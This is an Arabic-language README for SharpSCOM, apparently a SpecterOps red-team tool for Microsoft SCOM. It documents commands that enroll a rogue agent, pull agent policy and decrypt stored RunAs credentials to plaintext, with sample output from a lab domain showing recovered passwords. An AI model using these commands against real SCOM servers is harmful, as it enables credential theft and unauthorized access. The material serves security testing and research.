
أداة C# للتفاعل مع SCOM
أداة بلغة C# للتفاعل مع Microsoft System Center Operations Manager (SCOM).
تم اختبار هذه الأداة مع خادم SCOM الإصدار 10.22.10118.0.
يتم توفير تكامل SSPI عبر مكتبة nsspi من Kevin Thompson (antiduh) والمُصدرة بموجب ترخيص BSD-2.
█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █
Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1
Usage: SharpSCOM <command> [options]
Commands:
RegisterAgent Register a new agent with SCOM server
RegisterCertificate Assign a certificate to an existing agent
RequestPolicy Request policy from SCOM server
DownloadPolicy Download policy from SCOM server
AutoEnroll Send a multi-part request consisting of RegisterAgent, RegisterCertificate and RequestPolicy and attempt to automatically download the policy
DecryptPolicy Decrypt SecureData section from a policy file
DecryptRunAs Extract and decrypt RunAs credentials from registry
Common Options:
/hostname:<name> Computer hostname (default: current machine)
/managementgroup:<mg> SCOM management group name
/server:<server> SCOM server address
/port:<port> SCOM server port (default: 5723)
/outfile:<file> Output file path
/data:<base64> Base64-encoded data
/key:<xml> RSA private key in XML format
/verbose Enable verbose output
/help Show this help message
Examples:
SharpSCOM AutoEnroll /managementgroup:MG1 /server:scom.domain.com
SharpSCOM DecryptPolicy /data:<base64> /outfile:policy.xml
SharpSCOM DecryptRunAs
الأوامر التالية مخصصة للتنفيذ على خادم مسجّل حاليًا لدى SCOM. في حال استخدام بيانات اعتماد RunAs وتوزيعها على الخادم، يمكننا استخدام الأوامر أدناه لاستعادة بيانات الاعتماد كنص صريح.
استخراج وفك تشفير بيانات اعتماد RunAs من سجل النظام (يتطلب صلاحيات مسؤول محلي):
SharpSCOM.exe decryptrunas
█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █
Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1
[+] Searching for RunAs credentials in registry...
[+] Found 4 credentials
Username: ludus\opsmgr_action
Password: Password123
Username: ludus\opsmgr_dataread
Password: Password123
Username: ludus\opsmgr_datawrite
Password: Password123
Username: ludus\runas_account
Password: SuperSecure!
[+] Completed
استخراج وفك تشفير بيانات اعتماد RunAs المخزنة داخل قسم SecureData في ملف سياسة XML للوكيل. بشكل افتراضي، يمكن العثور على هذا الملف في المسار C:\Program Files\Microsoft Monitoring Agent\Agent\Health Service State\Connector Configuration Cache\$MANAGEMENT_GROUP_NAME$\OpsMgrConnector.Config
سيقوم هذا الأمر بتحديد موقع شهادة RunAs الحالية الخاصة بـ SCOM في مخزن Local Machine\Microsoft Monitoring Agent واستخدام المفتاح الخاص المرتبط بها لفك التشفير.
SharpSCOM DecryptPolicy /data:<base64-encrypted-data>
█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █
Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1
[+] Attempting to decrypt policy data...
[+] Using certificate from store
[+] Found certificate in Microsoft Monitoring Agent store
[+] Subject: O=Microsoft, OU=RunAs Account Encryption, CN=scom-db.ludus.domain
[+] Issuer: O=Microsoft, OU=RunAs Account Encryption, CN=scom-db.ludus.domain
[+] Thumbprint: 88D3E2AC575795E5F5F0E0C2EAFFB5FC386EA52F
[+] Key Size: 2048
[+] RSA key loaded successfully from certificate
[+] SecureData decrypted successfully!
<SecureStorageContainer><SecureStorageReferences><Added><SecureStorageReference Identity="63745834-3e54-936c-1b47-2d632054a177"><TargetSSID>01020202020202020202020202020202020202020200000000000000000000000000000000000000</TargetSSID></SecureStorageReference></Added><Removed /><Modified /></SecureStorageReferences><SecureStorageElements><Added><SecureStorageElement Type="WindowsCredential"><SSID>00C29753F0583B2A1D9D0D81DF24F0FBA31D72B17A00000000000000000000000000000000000000</SSID><Domain>ludus</Domain><UserName>runas_account</UserName><Password>UwB1AHAAZQByAFMAZQBjAHUAcgBlACEA</Password></SecureStorageElement><SecureStorageElement Type="ActionAccountCredential"><SSID>01020202020202020202020202020202020202020200000000000000000000000000000000000000</SSID><Domain>NT Authority</Domain><UserName>LocalSystem</UserName></SecureStorageElement></Added><Removed /><Modified /></SecureStorageElements></SecureStorageContainer>
إذا كان لدينا تحكم في جهاز منضم إلى نطاق غير مسجّل حاليًا لدى SCOM، فيمكننا محاولة تسجيل الجهاز وطلب ملف سياسة XML للوكيل إذا تم استيفاء المتطلبات أدناه.
المتطلبات:
لتسجيل جهاز جديد، سيرسل وكيل SCOM كل رسالة من الرسائل الأربع أدناه إلى خادم SCOM.
| الأمر | الوصف |
|---|---|
RegisterAgent | تسجيل وكيل جديد لدى خادم SCOM |
RegisterCertificate | تعيين شهادة لوكيل موجود |
RequestPolicy | طلب السياسة من خادم SCOM |
DownloadPolicy | تنزيل السياسة من خادم SCOM |
لأغراض الاختبار، يمكن إرسال كل رسالة من الرسائل أعلاه بشكل منفرد إلى خادم SCOM باستخدام الأمر المقابل في SharpSCOM.
ملاحظة: يتوقع خادم SCOM استلام هذه الرسائل معًا كجزء من طلب متعدد الرسائل. للحصول على ملف سياسة الوكيل بشكل موثوق، يجب استخدام أمر
AutoEnrollالذي يرسل أوامرRegisterAgentوRegisterCertificateوRequestPolicyمعًا كرسالة متعددة الأجزاء.
بعد إرسال أمر AutoEnroll، سيتم تحليل الاستجابة الواردة من خادم SCOM تلقائيًا واستخدامها لإنشاء رسالة DownloadPolicy النهائية لتنزيل ملف سياسة الوكيل بصيغة XML.
SharpSCOM.exe autoenroll /managementgroup:SCOM1 /server:scom-om1.ludus.domain /hostname:fake1.ludus.domain /outfile:C:\Users\domainadmin\desktop\policy_new.xml
█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █
Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1